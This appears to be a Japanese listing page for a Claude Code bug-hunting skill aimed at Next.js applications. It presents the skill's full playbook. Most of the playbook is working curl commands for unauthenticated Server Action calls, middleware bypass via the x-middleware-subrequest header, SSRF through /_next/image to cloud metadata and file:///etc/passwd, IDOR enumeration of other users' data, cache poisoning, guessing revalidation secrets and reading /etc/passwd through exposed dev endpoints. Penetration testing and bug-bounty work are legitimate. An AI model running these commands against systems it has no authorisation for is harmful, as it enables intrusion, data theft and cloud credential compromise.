mcpField
H
hunt-nextjs

hunt-nextjs

github.com/elementalsoulsセキュリティ5.3k246 回インストール1 日前に更新
リポジトリ

hunt-nextjs について

Next.js のセキュリティテスト向け脆弱性調査スキルです。Server Actions、ミドルウェア、画像最適化、データルートを調べ、誤検知を減らす検証方法も示します。

主な機能

  1. 01Next.js の識別とビルド ID の取得
  2. 02Server Actions の認証回避テスト
  3. 03ミドルウェア回避とデータ漏えいの確認
  4. 04画像最適化機能の SSRF リスク評価
  5. 05ISR キャッシュ汚染とデバッグ端点の調査

活用シーン

  1. 01保護されたページへの回避アクセスをテスト
  2. 02画像最適化機能のサーバー側リクエストリスクを評価
  3. 03事前生成データやページの漏えい・汚染を確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-nextjs

インストール後、Claude Code で/hunt-nextjsを入力して読み込まれたか確認します。

詳細

HUNT-NEXTJS — Next.js / SSR フレームワークの脆弱性

重要標的

認証を回避する、または SSRF に至る Next.js 固有のバグは、重大度が高いか致命的です。

特に価値の高い攻撃チェーン:

  • Server Actions の認証回避 — Server Actions はクライアント側でのみ認証を強制します → アクション ID を直接呼び出します → 不正なデータ変更またはデータ流出
  • /_next/static/ を介したミドルウェアの回避 — ミドルウェアは静的アセットのパスをスキップします → /_next/data/ の IDOR を通じて保護されたルートにアクセスできます
  • /_next/image の SSRF — 画像オプティマイザーが攻撃者の制御する URL をフェッチします → 内部ネットワークのスキャンまたはクラウドメタデータの取得
  • ISR の古いキャッシュのポイズニング — キャッシュされたページに悪意のあるコンテンツを注入し、すべてのユーザーに配信させます
  • RSC ペイロードの漏えい — React Server Component のフライトデータに、クライアント向けではないサーバーサイドの props が含まれています

攻撃対象領域の兆候

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

フェーズ 1 — フィンガープリントとバージョンの検出

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

フェーズ 2 — Server Actions の悪用

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

フェーズ 3 — ミドルウェア認証の回避

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

x-middleware-subrequest を介したミドルウェアの回避(CVE-2025-29927)

このヘッダーで内部サブリクエストを示すと、Next はミドルウェアの実行を完全にスキップします。これにより、保護されたルートの認証/リダイレクトミドルウェアを回避できます。

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

フェーズ 4 — 画像最適化の SSRF(/_next/image)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

誤検知防止の注意(SSRF を報告する前にお読みください): /_next/image がフェッチするのは、next.config.js の images.remotePatterns / images.domains で許可された URL のみです。ホワイトリストにない url は、デフォルトで 400 を返します。これはオプティマイザーによる通常の許可リスト拒否であり、回避した「ブロック」ではありません。200 が返すのは 最適化済みの画像 であり、上流のレスポンス本文ではありません。そのため、ステータスコードだけで SSRF が確認できることは決してありません。確認するには、一意の Collaborator サブドメインへのアウトオブバンドコールバック(上記)を検出するか、既知の内部宛てと既知の外部宛てのターゲットを本文の差分で比較してください。ステータスコードを根拠に報告しないでください。

注:CVE-2024-34351(Next.js SSRF、GHSA-fr5h-rqp8-mj6g、13.4.0 以上 < 14.1.1 に影響し、14.1.1 で修正)は、Host ヘッダーを信頼する相対リダイレクトに起因する Server Actions の SSRF です。/_next/image のバグではなく、Vercel のような Host ルーティング型プロバイダーには影響しません。Server Actions の攻撃対象領域については、フェーズ 2 を参照してください。


フェーズ 5 — /_next/data/ の IDOR とデータ漏えい

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

フェーズ 6 — ISR キャッシュポイズニング

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

フェーズ 7 — デバッグおよびスタックフレームのエンドポイント

前提条件: __nextjs_launch-editor と __nextjs_original-stack-frame は、next dev の実行時にのみマウントされる react-dev-overlay ミドルウェアです。本番ビルド(next build && next start)ではこれらのルートは登録されません。ここで 404 が返るのは通常かつ想定どおりの結果であり、回避すべき「フィルター」ではありません。これらにアクセスできるのは、本番環境で文字どおり next dev を実行しているというまれな設定ミスの場合に限られます。404 以外の応答を実際の所見として扱ってください。404 やフィルターされた応答を確認結果として報告しないでください。

# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl -s -o /dev/null -w "%{http_code}" \
  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
  --data '{"file":"/etc/passwd","line":1,"column":1}'

フェーズ 8 — 環境変数の漏えい

# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"

# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
    d = json.loads(m.group(1))
    print(json.dumps(d.get('props', {}), indent=2))
"

攻撃チェーン表

Next.js の所見攻撃チェーン影響
Server Action に認証がない権限のある変更を直接呼び出すデータ改ざん/管理者アクセス
/_next/image の SSRFクラウドメタデータ → IAM 認証情報クラウドの侵害
/_next/data/ の IDOR他のユーザーのサーバーサイド propsPII/トークンの流出
ミドルウェアの回避保護された管理者ルート認証の回避
ソースマップの公開TS ソースを再構築 → ハードコードされたシークレットを発見さらなる脆弱性
__NEXT_DATA__ の漏えいHTML 内のサーバーサイドのシークレットAPI キー/トークン

検証

✅ サーバーアクション:有効なセッションなしでアクションが実行され、データを返すか状態を変更します ✅ SSRF:/_next/image の SSRF による DNS/HTTP コールバックを受信します ✅ ミドルウェアのバイパス:認証 Cookie なしで保護されたルートから 200 レスポンスが返ります ✅ データ漏えい:__NEXT_DATA__ に非公開の秘密情報または他のユーザーの個人情報が含まれています

深刻度:

  • サーバーアクションの認証バイパス → データ変更:高/重大
  • 画像 SSRF → クラウドメタデータ:重大
  • ミドルウェアのバイパス → 管理パネル:高
  • ソースマップの露出のみ:低~中

コメント